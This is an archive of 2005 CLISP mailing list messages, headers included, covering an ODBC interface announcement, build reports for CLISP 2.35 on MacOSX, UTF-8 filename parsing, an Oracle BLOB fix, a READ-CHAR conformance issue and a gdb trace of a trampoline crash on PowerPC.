Provisionen für GMX Partner: http://www.gmx.net/de/go/partner From sds@gnu.org Sun Aug 28 08:50:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E9PQa-0004yr-Gy for clisp-list@lists.sourceforge.net; Sun, 28 Aug 2005 08:50:36 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E9PQY-0003NZ-HB for clisp-list@lists.sourceforge.net; Sun, 28 Aug 2005 08:50:37 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 28 Aug 2005 11:50:32 -0400 X-IronPort-AV: i="3.96,147,1122868800"; d="scan'208"; a="75236715:sNHT22690816" To: clisp-list@lists.sourceforge.net, "Roland Averkamp" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <8014.1125229382@www23.gmx.net> (Roland Averkamp's message of "Sun, 28 Aug 2005 13:43:02 +0200 (MEST)") References: <8014.1125229382@www23.gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Roland Averkamp" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: CLISP-ODBC interface: plain-odbc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 28 08:51:20 2005 X-Original-Date: Sun, 28 Aug 2005 11:49:42 -0400 > * Roland Averkamp [2005-08-28 13:43:02 +0200]: > > I would like to announce plain-odbc which is a simple interface to > ODBC. It can be found at http://common-lisp.net/project/plain-odbc. Great! > For CLISP I used J=C3=B6rg H=C3=B6hle's UFFI implementation with small > additions. could you please place all those patches to the clisp sf patches repository? > In the FTP directory there is also a modified UFFI-1.5 which supports > CLISP. The support of UFFI for CLISP was written by me. could you please work with the UFFI maintainers to merge your modifications into the official UFFI sources? thanks! --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Linux - find out what you've been missing while you've been rebooting Windo= ws. From kai.kaminski@gmx.de Sun Aug 28 11:21:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E9RmX-0001hZ-OF for clisp-list@lists.sourceforge.net; Sun, 28 Aug 2005 11:21:25 -0700 Received: from imap.gmx.net ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1E9RmW-00076Y-8E for clisp-list@lists.sourceforge.net; Sun, 28 Aug 2005 11:21:25 -0700 Received: (qmail invoked by alias); 28 Aug 2005 18:21:14 -0000 Received: from p549F781B.dip.t-dialin.net (EHLO Pupone.local) [84.159.120.27] by mail.gmx.net (mp002) with SMTP; 28 Aug 2005 20:21:14 +0200 X-Authenticated: #7158753 To: clisp-list@lists.sourceforge.net References: <42F8C3B9.2070401@gmail.com> From: Kai Kaminski In-Reply-To: (Sam Steingold's message of "Thu, 25 Aug 2005 14:54:43 -0400") Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 28 11:22:30 2005 X-Original-Date: Sun, 28 Aug 2005 20:21:48 +0200 Sam Steingold writes: > I checked in the code that closes all possible sockets before exec(). > please try CVS head. I just compiled yesterday's CVS head using standard options (i.e. only --prefix=/usr/local) and it works. Thanks a lot, Kai From pjb@informatimago.com Mon Aug 29 22:32:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E9yjS-00005n-6T for clisp-list@lists.sourceforge.net; Mon, 29 Aug 2005 22:32:26 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E9yjQ-0004xC-Cb for clisp-list@lists.sourceforge.net; Mon, 29 Aug 2005 22:32:26 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6E9585833D; Tue, 30 Aug 2005 07:32:19 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B5DBD582FA; Tue, 30 Aug 2005 07:32:16 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 91A1D10F9F6; Tue, 30 Aug 2005 07:32:16 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-ID: <17171.61280.518234.561096@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20050821070040.A260B10FBF3@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: compiled 2.34, now 2.35 on MacOSX Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 29 22:33:07 2005 X-Original-Date: Tue, 30 Aug 2005 07:32:16 +0200 Sam Steingold writes: > > * Pascal Bourguignon [2005-08-21 09:00:40 +0200]: > > > > rm -rf /tmp/clisp-2.34-build/ ; time ./configure --prefix=/usr/local > > $(for m in clx/new-clx regexp syscalls ; do echo --with-module=$m ; > > done) --build /tmp/clisp-2.34-build --install > > Pascal, if _you_ do not read the NEWS file - not even the "Important > notes" in the very beginning - who am I writing it for?! Ok, I've read it (perhaps configure could issue an error for invalid module arguments?). Now, I've successfully compiled 2.35 on the previously mentioned MacOSX system, and on SuSE Linux 8.2 on ix86. I note in the output of configure a mention about "checking for the valid characters in filenames... 7-bit" On MacOSX, indeed random 8-bit bytes are not accepted by open(2) on HFS+ file systems. That's because it's a UTF-8 file system, and it checks for a correct encoding. $ cat fname.c /* -*- coding: utf-8 -*- */ #include #include #include #include int main(void){ int fd; unsetenv("LC_MONETARY"); unsetenv("LC_NUMERIC"); unsetenv("LC_MESSAGES"); unsetenv("LC_COLLATE"); unsetenv("LC_CTYPE"); unsetenv("LC_TIME"); putenv("LC_ALL=fr_FR.UTF-8"); fd=open("/tmp/àéîõüÿ",O_CREAT,0666); printf("open --> %d\n",fd); close(fd); system("ls -l /tmp/àéîõüÿ"); return(0);} $ ./fname open --> 5 -rw------- 1 pjb wheel 0 30 aoû 06:54 /tmp/àéîõüÿ It seems it's wrongly taken into account by clisp-2.35. Perhaps it should not be so strict... [29]> #P"/tmp/àéîõüÿ.lisp" *** - PARSE-NAMESTRING: syntax error in filename "/tmp/àéîõüÿ.lisp" at position 5 The following restarts are available: ABORT :R1 ABORT Break 1 [30]> (lsencod) *DEFAULT-FILE-ENCODING* # *MISC-ENCODING* # *PATHNAME-ENCODING* # *TERMINAL-ENCODING* # *HTTP-ENCODING* # Break 1 [30]> (PRINT-BUG-REPORT-INFO) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.35 (2005-08-29) (built 3334365175) (memory 3334366089)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -x none libcharset.a -lncurses -liconv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libiconv 1.9" SOFTWARE-VERSION "GNU C 3.3 20030304 (Apple Computer, Inc. build 1495)" MACHINE-INSTANCE "triton.local [192.168.0.64]" MACHINE-TYPE "POWER MACINTOSH" MACHINE-VERSION "POWER MACINTOSH" *FEATURES* (:COM.INFORMATIMAGO.PJB :ASDF :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :UNICODE :BASE-CHAR=CHARACTER :UNIX :MACOS) -- "Indentation! -- I will show you how to indent when I indent your skull!" From sds@gnu.org Tue Aug 30 03:40:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EA3Xo-00020Z-B4 for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 03:40:44 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EA3Xl-0004hv-Qj for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 03:40:44 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7UAeIOc016320; Tue, 30 Aug 2005 06:40:19 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17171.61280.518234.561096@thalassa.informatimago.com> (Pascal Bourguignon's message of "Tue, 30 Aug 2005 07:32:16 +0200") References: <20050821070040.A260B10FBF3@thalassa.informatimago.com> <17171.61280.518234.561096@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: compiled 2.34, now 2.35 on MacOSX Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 30 03:41:23 2005 X-Original-Date: Tue, 30 Aug 2005 06:39:32 -0400 > * Pascal Bourguignon [2005-08-30 07:32:16 +0200]: > > Sam Steingold writes: >> > * Pascal Bourguignon [2005-08-21 09:00:40 +0200]: >> > >> > rm -rf /tmp/clisp-2.34-build/ ; time ./configure --prefix=/usr/local >> > $(for m in clx/new-clx regexp syscalls ; do echo --with-module=$m ; >> > done) --build /tmp/clisp-2.34-build --install >> >> Pascal, if _you_ do not read the NEWS file - not even the "Important >> notes" in the very beginning - who am I writing it for?! > > Ok, I've read it (perhaps configure could issue an error for invalid > module arguments?). makemake issues a warning. > Now, I've successfully compiled 2.35 on the previously mentioned > MacOSX system, and on SuSE Linux 8.2 on ix86. Thanks! > I note in the output of configure a mention about > "checking for the valid characters in filenames... 7-bit" see clisp/src/m4/filecharset.m4 > On MacOSX, indeed random 8-bit bytes are not accepted by open(2) on > HFS+ file systems. That's because it's a UTF-8 file system, and it > checks for a correct encoding. this is a problematic issue: an error here can create startup problems described in I will leave this whole mess to Bruno :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k Marriage is the sole cause of divorce. From Heiko_Elger@arburg.com Tue Aug 30 06:52:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EA6Ww-00020W-5y for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 06:52:02 -0700 Received: from mail.arburg.com ([217.5.142.104]) by mail.sourceforge.net with esmtps (SSLv3:AES256-SHA:256) (Exim 4.44) id 1EA6Wv-0006vb-1c for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 06:52:02 -0700 Received: from crypt01.lossburg.arburg.com ([172.25.25.4]) by mail.arburg.com ( ) with ESMTP id GLA38491 for ; Tue, 30 Aug 2005 15:51:51 +0200 Received: from ad27047.lossburg.arburg.com ([172.26.27.47]) by crypt01.lossburg.arburg.com (Lotus Domino Release 6.5.4) with ESMTP id 2005083015515004-347721 ; Tue, 30 Aug 2005 15:51:50 +0200 Received: from HUB02.lossburg.arburg.com (ad26123.lossburg.arburg.com) by ad27047.lossburg.arburg.com (Content Technologies SMTPRS 4.3.17) with ESMTP id for ; Tue, 30 Aug 2005 15:51:50 +0200 From: Heiko_Elger@arburg.com To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-MIMETrack: Serialize by Router on HUB02/DE/SRV/ARBURG(Release 6.0.2CF2|July 23, 2003) at 30.08.2005 15:51:50, Itemize by SMTP Server on CRYPT01/ARBURG-CRYPT(Release 6.5.4|March 27, 2005) at 08/30/2005 03:51:50 PM, Serialize by Router on CRYPT01/ARBURG-CRYPT(Release 6.5.4|March 27, 2005) at 08/30/2005 03:51:51 PM, Serialize complete at 08/30/2005 03:51:51 PM Message-ID: Content-transfer-encoding: quoted-printable Content-type: text/plain; charset=ISO-8859-1 X-Spam-Score: 1.8 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 1.1 BLANK_LINES_70_80 BODY: Message body has 70-80% blank lines 0.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Heiko Elger/RD/ARBURG ist nicht im =?ISO-8859-1?Q?B=FCro=21?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 30 06:53:38 2005 X-Original-Date: Tue, 30 Aug 2005 15:51:49 +0200 Ich werde ab 22.08.2005 nicht im B=FCro sein. Ich kehre zur=FCck am 2= 1.09.2005. Ich werde Ihre Nachricht nach meiner R=FCckkehr beantworten.= From kvietaag@seznam.cz Tue Aug 30 08:26:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EA80K-0006aY-DZ for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 08:26:28 -0700 Received: from kwall.cncz.cz ([194.213.192.9] helo=czgw.cncz.cz ident=pz02bte7hce1lsdnncq5) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EA80G-0003BE-U1 for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 08:26:28 -0700 Received: from czgw.cncz.cz (arwen [127.0.0.1]) by czgw.cncz.cz (Postfix) with ESMTP id 43B3251E94; Tue, 30 Aug 2005 17:26:16 +0200 (CEST) Received: from [10.3.64.134] (unknown [10.3.64.134]) by czgw.cncz.cz (Postfix) with ESMTP id D604151E92; Tue, 30 Aug 2005 17:26:15 +0200 (CEST) Message-ID: <43147AA8.2050701@seznam.cz> From: Tomas Hlavaty User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net References: <430DA3A2.9090809@seznam.cz> <20050825214509.GA26120@alma.com> <430EEE2E.90501@seznam.cz> <20050826140525.GA4156@alma.com> In-Reply-To: <20050826140525.GA4156@alma.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-BitDefender-SpamStamp: 1.1.4 049000040111AAAAAAE X-BitDefender-Scanner: Clean, Agent: BitDefender POSTFIX 1.6.2 on arwen X-BitDefender-Spam: No (0) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: clisp oracle module blob problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 30 08:27:25 2005 X-Original-Date: Tue, 30 Aug 2005 16:26:32 +0100 Hi John, > Tomas, a fix in the CVS head; you will have to update your source and > recompile. CLISP's oracle module should now convert data for columns > of type BLOB and BFILE to an array of (UNSIGNED-BYTE 8), and not > truncate it at NUL byte as it was doing. works fine:-) Thanks a lot! Tomas From pjb@informatimago.com Tue Aug 30 21:35:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAKKH-0006Sb-Vy for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 21:35:53 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAKKG-0005oT-Cd for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 21:35:54 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id C1E5B5833D; Wed, 31 Aug 2005 06:35:37 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C61385833D; Wed, 31 Aug 2005 06:35:34 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D857610F9F6; Wed, 31 Aug 2005 06:35:33 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050831043533.D857610F9F6@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] non conformant: (read-char *keyboard-input*) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 30 21:36:13 2005 X-Original-Date: Wed, 31 Aug 2005 06:35:33 +0200 (CEST) It's seems to me that CLHS stance on READ-CHAR is unnegociable: it must return a CHARACTER (or the eof-value). Unfortunately, in clisp it doesn't always return a character: [410]> (typep (ext:with-keyboard (read-char EXT:*KEYBOARD-INPUT*)) 'character) a NIL [411]> (format t "~C" (ext:with-keyboard (read-char EXT:*KEYBOARD-INPUT*))) a *** - The ~C format directive requires a character argument, not #S(SYSTEM::INPUT-CHARACTER :CHAR #\a :BITS 0 :FONT 0 :KEY NIL) Current point in control string: ~C | The following restarts are available: ABORT :R1 ABORT Break 1 [412]> [413]> (ext:with-keyboard (read-line EXT:*KEYBOARD-INPUT*)) abcd *** - READ-LINE: argument #S(SYSTEM::INPUT-CHARACTER :CHAR #\a :BITS 0 :FONT 0 :KEY NIL) is not a character The following restarts are available: ABORT :R1 ABORT SYSTEM::INPUT-CHARACTER should be made a subtype of CHARACTER, or READ-CHAR should return something else... -- __Pascal Bourguignon__ http://www.informatimago.com/ The rule for today: Touch my tail, I shred your hand. New rule tomorrow. From pjb@informatimago.com Tue Aug 30 22:21:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAL20-0008BG-88 for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 22:21:04 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAL1y-0004pF-AW for clisp-list@lists.sourceforge.net; Tue, 30 Aug 2005 22:21:04 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 7DC7C58344; Wed, 31 Aug 2005 07:20:50 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4848F5833D; Wed, 31 Aug 2005 07:20:47 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6541F10F9F6; Wed, 31 Aug 2005 07:20:46 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050831052046.6541F10F9F6@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] trampoline_r doesn't work on MacOSX 10.3.9 on ppc750 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 30 22:22:07 2005 X-Original-Date: Wed, 31 Aug 2005 07:20:46 +0200 (CEST) I don't know if it's supposed to work or not on MacOSX 10.3.9 with a ppc750 processor, but it doesn't (therefore FFI isn't built into clisp-2.35 on MacOSX). $ hostinfo Mach kernel version: Darwin Kernel Version 7.9.0: Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC Kernel configured for a single processor only. 1 processor is physically available. Processor type: ppc750 (PowerPC 750) Processor active: 0 Primary memory available: 640.00 megabytes. Default processor set: 51 tasks, 121 threads, 1 processors Load average: 0.11, Mach factor: 0.88 [pjb@triton trampoline_r]$ gdb test1 GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec 4 15:41:30 GMT 2003) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-apple-darwin". Reading symbols for shared libraries .. done (gdb) run Starting program: /private/tmp/clisp-2.35-build/callback/trampoline_r/test1 Reading symbols for shared libraries . done Program received signal EXC_BAD_INSTRUCTION, Illegal instruction/operand. 0x00100144 in ?? () (gdb) x/20i $pc-16 0x100134: .long 0x0 0x100138: .long 0x0 0x10013c: .long 0x0 0x100140: .long 0x100140 0x100144: lis r11,16 0x100148: ori r11,r11,348 0x10014c: lis r0,0 0x100150: ori r0,r0,10692 0x100154: mtctr r0 0x100158: bctr 